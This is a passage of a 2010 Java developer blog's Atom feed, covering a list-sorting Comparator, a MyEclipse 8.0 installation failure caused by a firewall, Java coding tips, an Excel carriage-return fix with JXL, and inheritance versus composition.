&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s2 = s2.substring(0,counter); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;int max = (temp1.length() &amp;gt; temp2.length()) ? temp1.length() : temp2.length(); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;char[] pad = new char[max-temp1.length()]; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Arrays.fill(pad,(char)48); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;temp1 = String.valueOf(pad) + temp1; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;pad = new char[max-temp2.length()]; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Arrays.fill(pad,(char)48); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;temp2 = String.valueOf(pad) + temp2; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s1 = s1 + temp1; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;s2 = s2 + temp2; &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return(s1.compareTo(s2)); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; public boolean equals(Object o1, &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Object o2) { &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String s1 = o1.toString(); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;String s2 = o2.toString(); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return(s1.equals(s2)); &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;And finally,. the problem got resolved, i got my list ordered in alphabetical form.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-664581116397387693?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/664581116397387693/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=664581116397387693' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/664581116397387693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/664581116397387693'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/03/array-list-sorting-issue.html' title='Array List Sorting Issue'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7645420943442013886</id><published>2010-02-25T05:44:00.000-08:00</published><updated>2010-02-25T05:48:06.217-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='myeclipse 8.0 installation issues'/><title type='text'>Problems installing Myeclipse 8.0</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Today, i was installing Myeclipse 8.0, i faced some issues while installing that. It showed below errors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;Pulse has been unable to create a plan for Myeclipse 8.0 latest. Pleace check  details below etc etc...&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Please provide a non pulse  installation option.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Details&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;This profile can not be resolved  because required software could not be located.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Could not locate installable  unit: com.genuitec.myeclipse.matisse.feature.group [7.1.0,7.5.0)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Could not  locate installable unit:  com.genuitec.myeclipse.enterprise.workbench.feature.group [7.1.0,7.5.0)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Could not locate installable unit:  com.genuitec.myeclipse.tapestry.feature.group [7.1.0,7.5.0)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Could not locate  installable unit: com.genuitec.myeclipse.reports.feature.group [7.1.0,7.5.0)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Could not locate installable unit:  com.genuitec.myeclipse.icefaces.feature.feature.group [7.1.0,7.5.0)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked  update site &lt;/b&gt;&lt;a href="http://download.eclipse.org/eclipse/updates/3.4" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://download.eclipse.org/eclipse/updates/3.4&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and found 1811  installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://download.eclipse.org/releases/ganymede" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://download.eclipse.org/releases/ganymede&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and found 3799  installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads2.poweredbypulse.com/downloads/products/pulse/client" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads2.poweredbypulse.com/downloads/products/pulse/client&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 116 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads2.poweredbypulse.com/downloads/products/pulse/eclipse34" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads2.poweredbypulse.com/downloads/products/pulse/eclipse34&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 1 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads2.poweredbypulse.com/downloads/products/pulse/ganymede" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads2.poweredbypulse.com/downloads/products/pulse/ganymede&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 104 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 816 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest/supporting" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads3.myeclipseide.com/downloads/products/eworkbench/ganymede-latest/supporting&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 20 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://downloads3.myeclipseide.com/downloads/products/eworkbench/jdks" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://downloads3.myeclipseide.com/downloads/products/eworkbench/jdks&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;  and found 6 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://www.poweredbypulse.com/installer/eclipse-base" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://www.poweredbypulse.com/installer/eclipse-base&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and found  2 installable units.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;blockquote&gt;&lt;b&gt;Checked update site &lt;/b&gt;&lt;a href="http://www.poweredbypulse.com/pulse/download/live" target="_blank"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: black;"&gt;http://www.poweredbypulse.com/pulse/download/live&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; and found 1  installable units.&lt;/b&gt;&lt;/blockquote&gt;&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Well, later on i discovered that pulse explorer that is a part of my eclipse tried to download some updated from internet, since my machine was under a firewall it failed and showed abover errors. So, then as a solution for that, i downloaded and installed pulse explorer seperately and then ran my myeclipse setup again and this time, i got it successfully installed.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt; &lt;/span&gt; &lt;span class="Apple-style-span" style="font-weight: normal;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Regards,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Ujjwal Soni&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7645420943442013886?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7645420943442013886/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7645420943442013886' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7645420943442013886'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7645420943442013886'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/02/problems-installing-myeclipse-80.html' title='Problems installing Myeclipse 8.0'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7292610421197700758</id><published>2010-01-31T00:46:00.000-08:00</published><updated>2010-01-31T00:46:05.460-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='10 Commandments for Java Developers'/><title type='text'>10 Commandments for Java Developers</title><content type='html'>1. Add comments to your code&lt;br /&gt;2. Do not complicate things - Means don’t come  up with complicated solution for simplest problems&lt;br /&gt;3. Keep in Mind "Less is  more" is not always better - Means when necessary write all required code &lt;br /&gt;4.  No hard coding please.&lt;br /&gt;5. Do not invent your own frameworks. - use available  superb frameworks like Struts,JSF or Spring&lt;br /&gt;6. Say no to Print lines and  String Concatenations&lt;br /&gt;7. Pay attention to the GUI - Look and Feel always  matters &lt;br /&gt;8. Always Prepare Document Requirements&lt;br /&gt;9. Unit-test. Unit-test.  Unit-test - Always do unit test&lt;br /&gt;10. Remember quality, not quantity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7292610421197700758?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7292610421197700758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7292610421197700758' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7292610421197700758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7292610421197700758'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/01/10-commandments-for-java-developers.html' title='10 Commandments for Java Developers'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8256353685558357212</id><published>2010-01-26T22:13:00.000-08:00</published><updated>2010-01-26T22:13:16.050-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Framework for cloud computing using java'/><title type='text'>Framework for cloud computing using java</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Recently, i was searching for java based framework suitable for cloud computing and i suddenly came across grid gain.&lt;br /&gt;&lt;br /&gt;GridGain is an ideal platform for  &lt;b&gt;Native Cloud Applications&lt;/b&gt;. GridGain provides developers with powerful and  elegant technology to develop and run applications on private or public clouds. &lt;br /&gt;&lt;br /&gt;GridGain is developed in Java and for  &lt;b&gt;Java developers&lt;/b&gt; and it is a natural extension of the latest Java  development methodologies including annotations, integration of Spring and  AOP-based grid-enabling.&lt;br /&gt;&lt;br /&gt;For more details&amp;nbsp;&lt;a href="http://www.gridgain.com/"&gt;http://www.gridgain.com/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8256353685558357212?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8256353685558357212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8256353685558357212' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8256353685558357212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8256353685558357212'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/01/framework-for-cloud-computing-using.html' title='Framework for cloud computing using java'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6799665315497794058</id><published>2010-01-22T03:49:00.000-08:00</published><updated>2010-01-27T21:11:54.834-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Getting square block characters when carriage return used in Office 2003'/><title type='text'>Getting square block characters when carriage return used in MS Excel 2003</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Recently i was facing a strange issue with JXL API for excel sheet generation using JAVA, the data entry screen was fine but when i was generating reports, i got some strange characters at each carriage return. This issue only happened in MS Excel 2003, this worked fine in other office versions.&lt;br /&gt;&lt;br /&gt;Actually this issue only appeared in some&amp;nbsp;European&amp;nbsp;countries, worked fine in Asia.&lt;br /&gt;&lt;br /&gt;So, i tried replaceAll method to replace this character with blank spaces like this ::&lt;br /&gt;&lt;br /&gt;reportValue.replaceAll("[\\r\\n]", "");&lt;br /&gt;&lt;br /&gt;This worked fine but it removed all my carriage returns too..&lt;br /&gt;&lt;br /&gt;So, i tried below code which removed that square block character and restored my keystrokes.&lt;br /&gt;&lt;br /&gt;reportValue..replace('\r',' ').replace('\'',' ');&lt;br /&gt;&lt;br /&gt;This worked absolutely fine in All office versions and all countries for both europe and asia.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6799665315497794058?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6799665315497794058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6799665315497794058' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6799665315497794058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6799665315497794058'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/01/getting-square-block-characters-when.html' title='Getting square block characters when carriage return used in MS Excel 2003'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6625710324060352201</id><published>2010-01-18T23:45:00.000-08:00</published><updated>2010-01-18T23:45:20.588-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source Caching Solutions for Java'/><title type='text'>Open Source Caching Solutions for Java</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Here's some open source caching solutions for Java ::&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_1263887054207"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://java-source.net/open-source/cache-solutions"&gt;http://java-source.net/open-source/cache-solutions&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6625710324060352201?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6625710324060352201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6625710324060352201' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6625710324060352201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6625710324060352201'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/01/open-source-caching-solutions-for-java.html' title='Open Source Caching Solutions for Java'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-5283210394255193788</id><published>2010-01-14T08:40:00.000-08:00</published><updated>2010-01-18T23:47:53.463-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='what is &apos;is a&apos; and &apos;has a&apos; relationship:'/><title type='text'>what is 'is a' and 'has a' relationship:</title><content type='html'>The &lt;i&gt;&lt;b&gt;is a&lt;/b&gt;&lt;/i&gt; relationship is expressed with inheritance and &lt;i&gt;&lt;b&gt;has a&lt;/b&gt;&lt;/i&gt; relationship is expressed with composition.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Both inheritance and composition allow you to place sub-objects inside your  new class. Two of the main techniques for code reuse are class inheritance and  object composition. &lt;br /&gt;e.g., &lt;br /&gt;&lt;b&gt;is a&lt;/b&gt; &lt;b&gt;--- House is a Building&lt;/b&gt; &lt;br /&gt;&lt;b&gt;class Building {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;.......&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;class House extends Building { &lt;/b&gt;&lt;br /&gt;&lt;pre&gt;&lt;b&gt;.........&amp;nbsp;&lt;/b&gt;&lt;/pre&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;has a&lt;/b&gt; &lt;b&gt;-- House has a bathroom&lt;/b&gt; &lt;br /&gt;&lt;pre&gt;&lt;span style="color: #444444;"&gt;&lt;b&gt;class House&lt;br /&gt;{&lt;br /&gt;  Bathroom room = new Bathroom()&amp;nbsp;;&lt;br /&gt;  ....&lt;br /&gt;  public void getTotMirrors()&lt;br /&gt;  {&lt;br /&gt;    room.getNoMirrors();&lt;br /&gt;    ....&lt;br /&gt;   }&lt;br /&gt; }&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;Inheritance Vs Composition&lt;/b&gt; &lt;br /&gt;&lt;pre&gt;&lt;b&gt;Inheritance&lt;/b&gt; is uni-directional. For example House is a Building. But Building is not a House. Inheritance uses&lt;br /&gt;&lt;/pre&gt;extends key word. Composition: is used when House has a Bathroom. It is  incorrect to say House is a Bathroom. &lt;br /&gt;&lt;pre&gt;&lt;b&gt;Composition&lt;/b&gt; simply means using instance variables that refer to other objects. 